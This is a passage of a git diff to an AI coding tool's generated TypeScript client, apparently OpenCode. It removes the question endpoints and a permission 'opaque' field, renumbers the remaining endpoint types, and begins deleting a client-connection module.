}
|
||||
export type Endpoint26_1Output = void
|
||||
export type DebugLocationEvictOperation<E = never> = (input?: Endpoint26_1Input) => Effect.Effect<Endpoint26_1Output, E>
|
||||
export type Endpoint25_1Output = void
|
||||
export type DebugLocationEvictOperation<E = never> = (input?: Endpoint25_1Input) => Effect.Effect<Endpoint25_1Output, E>
|
||||
|
||||
export interface DebugApi<E = never> {
|
||||
readonly location: { readonly list: DebugLocationListOperation<E>; readonly evict: DebugLocationEvictOperation<E> }
|
||||
}
|
||||
|
||||
export type Endpoint27_0Output =
|
||||
export type Endpoint26_0Output =
|
||||
| { readonly status: "required" | "completed" }
|
||||
| {
|
||||
readonly status: "running"
|
||||
@@ -1625,36 +1592,36 @@ export type Endpoint27_0Output =
|
||||
}
|
||||
}
|
||||
| { readonly status: "error"; readonly error: string }
|
||||
export type MigrationV1StatusOperation<E = never> = () => Effect.Effect<Endpoint27_0Output, E>
|
||||
export type MigrationV1StatusOperation<E = never> = () => Effect.Effect<Endpoint26_0Output, E>
|
||||
|
||||
export interface MigrationApi<E = never> {
|
||||
readonly v1: { readonly status: MigrationV1StatusOperation<E> }
|
||||
}
|
||||
|
||||
export type Endpoint28_0Input = {
|
||||
export type Endpoint27_0Input = {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}
|
||||
export type Endpoint28_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<WebSearch.Provider> }
|
||||
export type WebsearchProvidersOperation<E = never> = (input?: Endpoint28_0Input) => Effect.Effect<Endpoint28_0Output, E>
|
||||
export type Endpoint27_0Output = { readonly location: Location.Info; readonly data: ReadonlyArray<WebSearch.Provider> }
|
||||
export type WebsearchProvidersOperation<E = never> = (input?: Endpoint27_0Input) => Effect.Effect<Endpoint27_0Output, E>
|
||||
|
||||
export type Endpoint28_1Input = {
|
||||
export type Endpoint27_1Input = {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
readonly query: string
|
||||
readonly providerID?: WebSearch.ID | undefined
|
||||
}
|
||||
export type Endpoint28_1Output = { readonly location: Location.Info; readonly data: WebSearch.Response }
|
||||
export type WebsearchQueryOperation<E = never> = (input: Endpoint28_1Input) => Effect.Effect<Endpoint28_1Output, E>
|
||||
export type Endpoint27_1Output = { readonly location: Location.Info; readonly data: WebSearch.Response }
|
||||
export type WebsearchQueryOperation<E = never> = (input: Endpoint27_1Input) => Effect.Effect<Endpoint27_1Output, E>
|
||||
|
||||
export interface WebsearchApi<E = never> {
|
||||
readonly providers: WebsearchProvidersOperation<E>
|
||||
readonly query: WebsearchQueryOperation<E>
|
||||
}
|
||||
|
||||
export type Endpoint29_0Input = {
|
||||
export type Endpoint28_0Input = {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}
|
||||
export type Endpoint29_0Output = ReadonlyArray<Config.Entry>
|
||||
export type ConfigGetOperation<E = never> = (input?: Endpoint29_0Input) => Effect.Effect<Endpoint29_0Output, E>
|
||||
export type Endpoint28_0Output = ReadonlyArray<Config.Entry>
|
||||
export type ConfigGetOperation<E = never> = (input?: Endpoint28_0Input) => Effect.Effect<Endpoint28_0Output, E>
|
||||
|
||||
export interface ConfigApi<E = never> {
|
||||
readonly get: ConfigGetOperation<E>
|
||||
@@ -1683,7 +1650,6 @@ export interface AppApi<E = never> {
|
||||
readonly event: EventApi<E>
|
||||
readonly pty: PtyApi<E>
|
||||
readonly shell: ShellApi<E>
|
||||
readonly question: QuestionApi<E>
|
||||
readonly reference: ReferenceApi<E>
|
||||
readonly worktree: WorktreeApi<E>
|
||||
readonly vcs: VcsApi<E>
|
||||
|
||||
@@ -200,38 +200,30 @@ import type {
|
||||
Endpoint21_5Output,
|
||||
Endpoint22_0Input,
|
||||
Endpoint22_0Output,
|
||||
Endpoint22_1Input,
|
||||
Endpoint22_1Output,
|
||||
Endpoint22_2Input,
|
||||
Endpoint22_2Output,
|
||||
Endpoint22_3Input,
|
||||
Endpoint22_3Output,
|
||||
Endpoint23_0Input,
|
||||
Endpoint23_0Output,
|
||||
Endpoint23_1Input,
|
||||
Endpoint23_1Output,
|
||||
Endpoint23_2Input,
|
||||
Endpoint23_2Output,
|
||||
Endpoint23_3Input,
|
||||
Endpoint23_3Output,
|
||||
Endpoint24_0Input,
|
||||
Endpoint24_0Output,
|
||||
Endpoint24_1Input,
|
||||
Endpoint24_1Output,
|
||||
Endpoint24_2Input,
|
||||
Endpoint24_2Output,
|
||||
Endpoint24_3Input,
|
||||
Endpoint24_3Output,
|
||||
Endpoint25_0Input,
|
||||
Endpoint25_0Output,
|
||||
Endpoint25_1Input,
|
||||
Endpoint25_1Output,
|
||||
Endpoint25_2Input,
|
||||
Endpoint25_2Output,
|
||||
Endpoint26_0Output,
|
||||
Endpoint26_1Input,
|
||||
Endpoint26_1Output,
|
||||
Endpoint27_0Input,
|
||||
Endpoint27_0Output,
|
||||
Endpoint27_1Input,
|
||||
Endpoint27_1Output,
|
||||
Endpoint28_0Input,
|
||||
Endpoint28_0Output,
|
||||
Endpoint28_1Input,
|
||||
Endpoint28_1Output,
|
||||
Endpoint29_0Input,
|
||||
Endpoint29_0Output,
|
||||
} from "../api/api.js"
|
||||
import { ClientError } from "./client-error.js"
|
||||
|
||||
@@ -970,7 +962,6 @@ const Endpoint15_3 = (raw: RawClient["server.permission"]) => (input: Endpoint15
|
||||
action: input["action"],
|
||||
resources: input["resources"],
|
||||
save: input["save"],
|
||||
opaque: input["opaque"],
|
||||
metadata: input["metadata"],
|
||||
source: input["source"],
|
||||
agent: input["agent"],
|
||||
@@ -1159,145 +1150,110 @@ const adaptGroup21 = (raw: RawClient["server.shell"]) => ({
|
||||
remove: Endpoint21_5(raw),
|
||||
})
|
||||
|
||||
const Endpoint22_0 = (raw: RawClient["server.question"]) => (input?: Endpoint22_0Input) =>
|
||||
const Endpoint22_0 = (raw: RawClient["server.reference"]) => (input?: Endpoint22_0Input) =>
|
||||
preserveEffect<Endpoint22_0Output>()(
|
||||
raw["question.request.list"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint22_1 = (raw: RawClient["server.question"]) => (input: Endpoint22_1Input) =>
|
||||
preserveEffect<Endpoint22_1Output>()(
|
||||
raw["session.question.list"]({ params: { sessionID: input["sessionID"] } }).pipe(
|
||||
Effect.mapError(mapClientError),
|
||||
Effect.map((value) => value.data),
|
||||
),
|
||||
)
|
||||
|
||||
const Endpoint22_2 = (raw: RawClient["server.question"]) => (input: Endpoint22_2Input) =>
|
||||
preserveEffect<Endpoint22_2Output>()(
|
||||
raw["session.question.reply"]({
|
||||
params: { sessionID: input["sessionID"], requestID: input["requestID"] },
|
||||
payload: { answers: input["answers"] },
|
||||
}).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint22_3 = (raw: RawClient["server.question"]) => (input: Endpoint22_3Input) =>
|
||||
preserveEffect<Endpoint22_3Output>()(
|
||||
raw["session.question.reject"]({ params: { sessionID: input["sessionID"], requestID: input["requestID"] } }).pipe(
|
||||
Effect.mapError(mapClientError),
|
||||
),
|
||||
)
|
||||
|
||||
const adaptGroup22 = (raw: RawClient["server.question"]) => ({
|
||||
request: { list: Endpoint22_0(raw) },
|
||||
list: Endpoint22_1(raw),
|
||||
reply: Endpoint22_2(raw),
|
||||
reject: Endpoint22_3(raw),
|
||||
})
|
||||
|
||||
const Endpoint23_0 = (raw: RawClient["server.reference"]) => (input?: Endpoint23_0Input) =>
|
||||
preserveEffect<Endpoint23_0Output>()(
|
||||
raw["reference.list"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const adaptGroup23 = (raw: RawClient["server.reference"]) => ({ list: Endpoint23_0(raw) })
|
||||
const adaptGroup22 = (raw: RawClient["server.reference"]) => ({ list: Endpoint22_0(raw) })
|
||||
|
||||
const Endpoint24_0 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_0Input) =>
|
||||
preserveEffect<Endpoint24_0Output>()(
|
||||
const Endpoint23_0 = (raw: RawClient["server.worktree"]) => (input: Endpoint23_0Input) =>
|
||||
preserveEffect<Endpoint23_0Output>()(
|
||||
raw["worktree.list"]({ params: { projectID: input["projectID"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint24_1 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_1Input) =>
|
||||
preserveEffect<Endpoint24_1Output>()(
|
||||
const Endpoint23_1 = (raw: RawClient["server.worktree"]) => (input: Endpoint23_1Input) =>
|
||||
preserveEffect<Endpoint23_1Output>()(
|
||||
raw["worktree.create"]({
|
||||
params: { projectID: input["projectID"] },
|
||||
payload: { strategy: input["strategy"], from: input["from"], directory: input["directory"], name: input["name"] },
|
||||
}).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint24_2 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_2Input) =>
|
||||
preserveEffect<Endpoint24_2Output>()(
|
||||
const Endpoint23_2 = (raw: RawClient["server.worktree"]) => (input: Endpoint23_2Input) =>
|
||||
preserveEffect<Endpoint23_2Output>()(
|
||||
raw["worktree.remove"]({
|
||||
params: { projectID: input["projectID"] },
|
||||
payload: { directory: input["directory"], force: input["force"] },
|
||||
}).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint24_3 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_3Input) =>
|
||||
preserveEffect<Endpoint24_3Output>()(
|
||||
const Endpoint23_3 = (raw: RawClient["server.worktree"]) => (input: Endpoint23_3Input) =>
|
||||
preserveEffect<Endpoint23_3Output>()(
|
||||
raw["worktree.refresh"]({ params: { projectID: input["projectID"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const adaptGroup24 = (raw: RawClient["server.worktree"]) => ({
|
||||
list: Endpoint24_0(raw),
|
||||
create: Endpoint24_1(raw),
|
||||
remove: Endpoint24_2(raw),
|
||||
refresh: Endpoint24_3(raw),
|
||||
const adaptGroup23 = (raw: RawClient["server.worktree"]) => ({
|
||||
list: Endpoint23_0(raw),
|
||||
create: Endpoint23_1(raw),
|
||||
remove: Endpoint23_2(raw),
|
||||
refresh: Endpoint23_3(raw),
|
||||
})
|
||||
|
||||
const Endpoint25_0 = (raw: RawClient["server.vcs"]) => (input?: Endpoint25_0Input) =>
|
||||
preserveEffect<Endpoint25_0Output>()(
|
||||
const Endpoint24_0 = (raw: RawClient["server.vcs"]) => (input?: Endpoint24_0Input) =>
|
||||
preserveEffect<Endpoint24_0Output>()(
|
||||
raw["vcs.get"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint25_1 = (raw: RawClient["server.vcs"]) => (input?: Endpoint25_1Input) =>
|
||||
preserveEffect<Endpoint25_1Output>()(
|
||||
const Endpoint24_1 = (raw: RawClient["server.vcs"]) => (input?: Endpoint24_1Input) =>
|
||||
preserveEffect<Endpoint24_1Output>()(
|
||||
raw["vcs.status"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint25_2 = (raw: RawClient["server.vcs"]) => (input: Endpoint25_2Input) =>
|
||||
preserveEffect<Endpoint25_2Output>()(
|
||||
const Endpoint24_2 = (raw: RawClient["server.vcs"]) => (input: Endpoint24_2Input) =>
|
||||
preserveEffect<Endpoint24_2Output>()(
|
||||
raw["vcs.diff"]({ query: { location: input["location"], mode: input["mode"], context: input["context"] } }).pipe(
|
||||
Effect.mapError(mapClientError),
|
||||
),
|
||||
)
|
||||
|
||||
const adaptGroup25 = (raw: RawClient["server.vcs"]) => ({
|
||||
get: Endpoint25_0(raw),
|
||||
status: Endpoint25_1(raw),
|
||||
diff: Endpoint25_2(raw),
|
||||
const adaptGroup24 = (raw: RawClient["server.vcs"]) => ({
|
||||
get: Endpoint24_0(raw),
|
||||
status: Endpoint24_1(raw),
|
||||
diff: Endpoint24_2(raw),
|
||||
})
|
||||
|
||||
const Endpoint26_0 = (raw: RawClient["server.debug"]) => () =>
|
||||
preserveEffect<Endpoint26_0Output>()(raw["debug.location"]({}).pipe(Effect.mapError(mapClientError)))
|
||||
const Endpoint25_0 = (raw: RawClient["server.debug"]) => () =>
|
||||
preserveEffect<Endpoint25_0Output>()(raw["debug.location"]({}).pipe(Effect.mapError(mapClientError)))
|
||||
|
||||
const Endpoint26_1 = (raw: RawClient["server.debug"]) => (input?: Endpoint26_1Input) =>
|
||||
preserveEffect<Endpoint26_1Output>()(
|
||||
const Endpoint25_1 = (raw: RawClient["server.debug"]) => (input?: Endpoint25_1Input) =>
|
||||
preserveEffect<Endpoint25_1Output>()(
|
||||
raw["debug.location.evict"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const adaptGroup26 = (raw: RawClient["server.debug"]) => ({
|
||||
location: { list: Endpoint26_0(raw), evict: Endpoint26_1(raw) },
|
||||
const adaptGroup25 = (raw: RawClient["server.debug"]) => ({
|
||||
location: { list: Endpoint25_0(raw), evict: Endpoint25_1(raw) },
|
||||
})
|
||||
|
||||
const Endpoint27_0 = (raw: RawClient["server.migration"]) => () =>
|
||||
preserveEffect<Endpoint27_0Output>()(raw["migration.v1.status"]({}).pipe(Effect.mapError(mapClientError)))
|
||||
const Endpoint26_0 = (raw: RawClient["server.migration"]) => () =>
|
||||
preserveEffect<Endpoint26_0Output>()(raw["migration.v1.status"]({}).pipe(Effect.mapError(mapClientError)))
|
||||
|
||||
const adaptGroup27 = (raw: RawClient["server.migration"]) => ({ v1: { status: Endpoint27_0(raw) } })
|
||||
const adaptGroup26 = (raw: RawClient["server.migration"]) => ({ v1: { status: Endpoint26_0(raw) } })
|
||||
|
||||
const Endpoint28_0 = (raw: RawClient["server.websearch"]) => (input?: Endpoint28_0Input) =>
|
||||
preserveEffect<Endpoint28_0Output>()(
|
||||
const Endpoint27_0 = (raw: RawClient["server.websearch"]) => (input?: Endpoint27_0Input) =>
|
||||
preserveEffect<Endpoint27_0Output>()(
|
||||
raw["websearch.providers"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint28_1 = (raw: RawClient["server.websearch"]) => (input: Endpoint28_1Input) =>
|
||||
preserveEffect<Endpoint28_1Output>()(
|
||||
const Endpoint27_1 = (raw: RawClient["server.websearch"]) => (input: Endpoint27_1Input) =>
|
||||
preserveEffect<Endpoint27_1Output>()(
|
||||
raw["websearch.query"]({
|
||||
query: { location: input["location"] },
|
||||
payload: { query: input["query"], providerID: input["providerID"] },
|
||||
}).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const adaptGroup28 = (raw: RawClient["server.websearch"]) => ({
|
||||
providers: Endpoint28_0(raw),
|
||||
query: Endpoint28_1(raw),
|
||||
const adaptGroup27 = (raw: RawClient["server.websearch"]) => ({
|
||||
providers: Endpoint27_0(raw),
|
||||
query: Endpoint27_1(raw),
|
||||
})
|
||||
|
||||
const Endpoint29_0 = (raw: RawClient["server.config"]) => (input?: Endpoint29_0Input) =>
|
||||
preserveEffect<Endpoint29_0Output>()(
|
||||
const Endpoint28_0 = (raw: RawClient["server.config"]) => (input?: Endpoint28_0Input) =>
|
||||
preserveEffect<Endpoint28_0Output>()(
|
||||
raw["config.get"]({ query: { location: input?.["location"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const adaptGroup29 = (raw: RawClient["server.config"]) => ({ get: Endpoint29_0(raw) })
|
||||
const adaptGroup28 = (raw: RawClient["server.config"]) => ({ get: Endpoint28_0(raw) })
|
||||
|
||||
const adaptClient = (raw: RawClient) => ({
|
||||
health: adaptGroup0(raw["server.health"]),
|
||||
@@ -1322,14 +1278,13 @@ const adaptClient = (raw: RawClient) => ({
|
||||
event: adaptGroup19(raw["server.event"]),
|
||||
pty: adaptGroup20(raw["server.pty"]),
|
||||
shell: adaptGroup21(raw["server.shell"]),
|
||||
question: adaptGroup22(raw["server.question"]),
|
||||
reference: adaptGroup23(raw["server.reference"]),
|
||||
worktree: adaptGroup24(raw["server.worktree"]),
|
||||
vcs: adaptGroup25(raw["server.vcs"]),
|
||||
debug: adaptGroup26(raw["server.debug"]),
|
||||
migration: adaptGroup27(raw["server.migration"]),
|
||||
websearch: adaptGroup28(raw["server.websearch"]),
|
||||
config: adaptGroup29(raw["server.config"]),
|
||||
reference: adaptGroup22(raw["server.reference"]),
|
||||
worktree: adaptGroup23(raw["server.worktree"]),
|
||||
vcs: adaptGroup24(raw["server.vcs"]),
|
||||
debug: adaptGroup25(raw["server.debug"]),
|
||||
migration: adaptGroup26(raw["server.migration"]),
|
||||
websearch: adaptGroup27(raw["server.websearch"]),
|
||||
config: adaptGroup28(raw["server.config"]),
|
||||
})
|
||||
|
||||
export const make = (options?: { readonly baseUrl?: URL | string }) =>
|
||||
|
||||
@@ -194,14 +194,6 @@ import type {
|
||||
ShellOutputOutput,
|
||||
ShellRemoveInput,
|
||||
ShellRemoveOutput,
|
||||
QuestionRequestListInput,
|
||||
QuestionRequestListOutput,
|
||||
QuestionListInput,
|
||||
QuestionListOutput,
|
||||
QuestionReplyInput,
|
||||
QuestionReplyOutput,
|
||||
QuestionRejectInput,
|
||||
QuestionRejectOutput,
|
||||
ReferenceListInput,
|
||||
ReferenceListOutput,
|
||||
WorktreeListInput,
|
||||
@@ -1390,7 +1382,6 @@ export function make(options: ClientOptions) {
|
||||
action: input["action"],
|
||||
resources: input["resources"],
|
||||
save: input["save"],
|
||||
opaque: input["opaque"],
|
||||
metadata: input["metadata"],
|
||||
source: input["source"],
|
||||
agent: input["agent"],
|
||||
@@ -1661,56 +1652,6 @@ export function make(options: ClientOptions) {
|
||||
requestOptions,
|
||||
),
|
||||
},
|
||||
question: {
|
||||
request: {
|
||||
list: (input?: QuestionRequestListInput, requestOptions?: RequestOptions) =>
|
||||
request<QuestionRequestListOutput>(
|
||||
{
|
||||
method: "GET",
|
||||
path: `/api/question/request`,
|
||||
query: { location: input?.["location"] },
|
||||
successStatus: 200,
|
||||
declaredStatuses: [401, 400],
|
||||
empty: false,
|
||||
},
|
||||
requestOptions,
|
||||
),
|
||||
},
|
||||
list: (input: QuestionListInput, requestOptions?: RequestOptions) =>
|
||||
request<{ readonly data: QuestionListOutput }>(
|
||||
{
|
||||
method: "GET",
|
||||
path: `/api/session/${encodeURIComponent(input.sessionID)}/question`,
|
||||
successStatus: 200,
|
||||
declaredStatuses: [404, 400, 401],
|
||||
empty: false,
|
||||
},
|
||||
requestOptions,
|
||||
).then((value) => value.data),
|
||||
reply: (input: QuestionReplyInput, requestOptions?: RequestOptions) =>
|
||||
request<QuestionReplyOutput>(
|
||||
{
|
||||
method: "POST",
|
||||
path: `/api/session/${encodeURIComponent(input.sessionID)}/question/${encodeURIComponent(input.requestID)}/reply`,
|
||||
body: { answers: input["answers"] },
|
||||
successStatus: 204,
|
||||
declaredStatuses: [404, 400, 401],
|
||||
empty: true,
|
||||
},
|
||||
requestOptions,
|
||||
),
|
||||
reject: (input: QuestionRejectInput, requestOptions?: RequestOptions) =>
|
||||
request<QuestionRejectOutput>(
|
||||
{
|
||||
method: "POST",
|
||||
path: `/api/session/${encodeURIComponent(input.sessionID)}/question/${encodeURIComponent(input.requestID)}/reject`,
|
||||
successStatus: 204,
|
||||
declaredStatuses: [404, 400, 401],
|
||||
empty: true,
|
||||
},
|
||||
requestOptions,
|
||||
),
|
||||
},
|
||||
reference: {
|
||||
list: (input?: ReferenceListInput, requestOptions?: RequestOptions) =>
|
||||
request<ReferenceListOutput>(
|
||||
|
||||
@@ -324,12 +324,6 @@ export type Pty = {
|
||||
exitCode?: number
|
||||
}
|
||||
|
||||
export type QuestionOption = { label: string; description: string }
|
||||
|
||||
export type QuestionTool = { messageID: string; id: string }
|
||||
|
||||
export type QuestionAnswer = Array<string>
|
||||
|
||||
export type FormMetadata1 = { [x: string]: any }
|
||||
|
||||
export type FormWhen1 = { key: string; op: "eq" | "neq"; value: string | number | boolean }
|
||||
@@ -910,15 +904,6 @@ export type ShellDeleted = {
|
||||
data: { id: string }
|
||||
}
|
||||
|
||||
export type QuestionRejected = {
|
||||
id: string
|
||||
created: number
|
||||
metadata?: { [x: string]: any }
|
||||
type: "question.rejected"
|
||||
location?: LocationRef
|
||||
data: { sessionID: string; requestID: string }
|
||||
}
|
||||
|
||||
export type FormCancelled = {
|
||||
id: string
|
||||
created: number
|
||||
@@ -1377,7 +1362,6 @@ export type PermissionRequest = {
|
||||
action: string
|
||||
resources: Array<string>
|
||||
save?: Array<string>
|
||||
opaque?: boolean
|
||||
metadata?: { [x: string]: JsonValue }
|
||||
source?: PermissionSource
|
||||
}
|
||||
@@ -1394,7 +1378,6 @@ export type PermissionAsked = {
|
||||
action: string
|
||||
resources: Array<string>
|
||||
save?: Array<string>
|
||||
opaque?: boolean
|
||||
metadata?: { [x: string]: any }
|
||||
source?: PermissionSource
|
||||
}
|
||||
@@ -1427,23 +1410,6 @@ export type PtyUpdated = {
|
||||
data: { info: Pty }
|
||||
}
|
||||
|
||||
export type QuestionInfo = {
|
||||
question: string
|
||||
header: string
|
||||
options: Array<QuestionOption>
|
||||
multiple?: boolean
|
||||
custom?: boolean
|
||||
}
|
||||
|
||||
export type QuestionReplied = {
|
||||
id: string
|
||||
created: number
|
||||
metadata?: { [x: string]: any }
|
||||
type: "question.replied"
|
||||
location?: LocationRef
|
||||
data: { sessionID: string; requestID: string; answers: Array<QuestionAnswer> }
|
||||
}
|
||||
|
||||
export type FormStringField1 = {
|
||||
key: string
|
||||
title?: string
|
||||
@@ -1684,17 +1650,6 @@ export type FormReplied = {
|
||||
data: { id: string; sessionID: string; answer: FormAnswer }
|
||||
}
|
||||
|
||||
export type QuestionAsked = {
|
||||
id: string
|
||||
created: number
|
||||
metadata?: { [x: string]: any }
|
||||
type: "question.asked"
|
||||
location?: LocationRef
|
||||
data: { id: string; sessionID: string; questions: Array<QuestionInfo>; tool?: QuestionTool }
|
||||
}
|
||||
|
||||
export type QuestionRequest = { id: string; sessionID: string; questions: Array<QuestionInfo>; tool?: QuestionTool }
|
||||
|
||||
export type FormField1 =
|
||||
| FormStringField1
|
||||
| FormNumberField1
|
||||
@@ -2116,9 +2071,6 @@ export type V2Event =
|
||||
| ShellCreated
|
||||
| ShellExited
|
||||
| ShellDeleted
|
||||
| QuestionAsked
|
||||
| QuestionReplied
|
||||
| QuestionRejected
|
||||
| FormCreated
|
||||
| FormReplied
|
||||
| FormCancelled
|
||||
@@ -2298,14 +2250,6 @@ export type ShellNotFoundError = { readonly _tag: "ShellNotFoundError"; readonly
|
||||
export const isShellNotFoundError = (value: unknown): value is ShellNotFoundError =>
|
||||
typeof value === "object" && value !== null && "_tag" in value && value["_tag"] === "ShellNotFoundError"
|
||||
|
||||
export type QuestionNotFoundError = {
|
||||
readonly _tag: "QuestionNotFoundError"
|
||||
readonly requestID: string
|
||||
readonly message: string
|
||||
}
|
||||
export const isQuestionNotFoundError = (value: unknown): value is QuestionNotFoundError =>
|
||||
typeof value === "object" && value !== null && "_tag" in value && value["_tag"] === "QuestionNotFoundError"
|
||||
|
||||
export type WorktreeError = {
|
||||
readonly name: "WorktreeError"
|
||||
readonly data: { readonly message: string; readonly forceRequired?: boolean | undefined }
|
||||
@@ -5232,7 +5176,6 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5242,7 +5185,6 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5252,7 +5194,6 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5262,27 +5203,15 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
}["save"]
|
||||
readonly opaque?: {
|
||||
readonly id?: string | null
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
}["opaque"]
|
||||
readonly metadata?: {
|
||||
readonly id?: string | null
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5292,7 +5221,6 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5302,7 +5230,6 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5611,36 +5538,6 @@ export type ShellRemoveInput = {
|
||||
|
||||
export type ShellRemoveOutput = void
|
||||
|
||||
export type QuestionRequestListInput = {
|
||||
readonly location?: {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}["location"]
|
||||
}
|
||||
|
||||
export type QuestionRequestListOutput = {
|
||||
location: { directory: string; workspaceID?: string; project: { id: string; directory: string; canonical: string } }
|
||||
data: Array<QuestionRequest>
|
||||
}
|
||||
|
||||
export type QuestionListInput = { readonly sessionID: { readonly sessionID: string }["sessionID"] }
|
||||
|
||||
export type QuestionListOutput = { data: Array<QuestionRequest> }["data"]
|
||||
|
||||
export type QuestionReplyInput = {
|
||||
readonly sessionID: { readonly sessionID: string; readonly requestID: string }["sessionID"]
|
||||
readonly requestID: { readonly sessionID: string; readonly requestID: string }["requestID"]
|
||||
readonly answers: { readonly answers: ReadonlyArray<ReadonlyArray<string>> }["answers"]
|
||||
}
|
||||
|
||||
export type QuestionReplyOutput = void
|
||||
|
||||
export type QuestionRejectInput = {
|
||||
readonly sessionID: { readonly sessionID: string; readonly requestID: string }["sessionID"]
|
||||
readonly requestID: { readonly sessionID: string; readonly requestID: string }["requestID"]
|
||||
}
|
||||
|
||||
export type QuestionRejectOutput = void
|
||||
|
||||
export type ReferenceListInput = {
|
||||
readonly location?: {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
|
||||
@@ -1,269 +0,0 @@
|
||||
import { batch, onCleanup, onMount } from "solid-js"
|
||||
import { createStore } from "solid-js/store"
|
||||
import type { OpenCodeClient, OpenCodeEvent } from "../promise"
|
||||
|
||||
export type ClientConnectionStatus = "connected" | "connecting" | "reconnecting"
|
||||
export type ClientConnectionEvent = {
|
||||
readonly type: "client.connection"
|
||||
readonly created: number
|
||||
readonly data: {
|
||||
readonly status: "connecting" | "connected" | "disconnected" | "reconnecting"
|
||||
readonly attempt: number
|
||||
readonly error?: string
|
||||
}
|
||||
}
|
||||
|
||||
export type ClientConnectionOptions = {
|
||||
readonly reconnect?: (signal: AbortSignal) => Promise<OpenCodeClient>
|
||||
readonly onEvent: (event: OpenCodeEvent) => void
|
||||
readonly flushInterval?: number
|
||||
readonly pageLifecycle?: boolean
|
||||
readonly log?: {
|
||||
readonly debug?: (message: string, data?: Readonly<Record<string, unknown>>) => void
|
||||
readonly info?: (message: string, data?: Readonly<Record<string, unknown>>) => void
|
||||
}
|
||||
}
|
||||
|
||||
const connectTimeout = 2_000
|
||||
const reconnectDelay = 1_000
|
||||
const connectionHistoryLimit = 50
|
||||
|
||||
type CurrentDelta = Extract<
|
||||
OpenCodeEvent,
|
||||
{ type: "session.text.delta" | "session.reasoning.delta" | "session.tool.input.delta" | "session.compaction.delta" }
|
||||
>
|
||||
|
||||
export function coalesceClientEvents(events: OpenCodeEvent[]) {
|
||||
return events.reduce<OpenCodeEvent[]>((output, event) => {
|
||||
const current = currentDelta(event)
|
||||
const previous = output[output.length - 1]
|
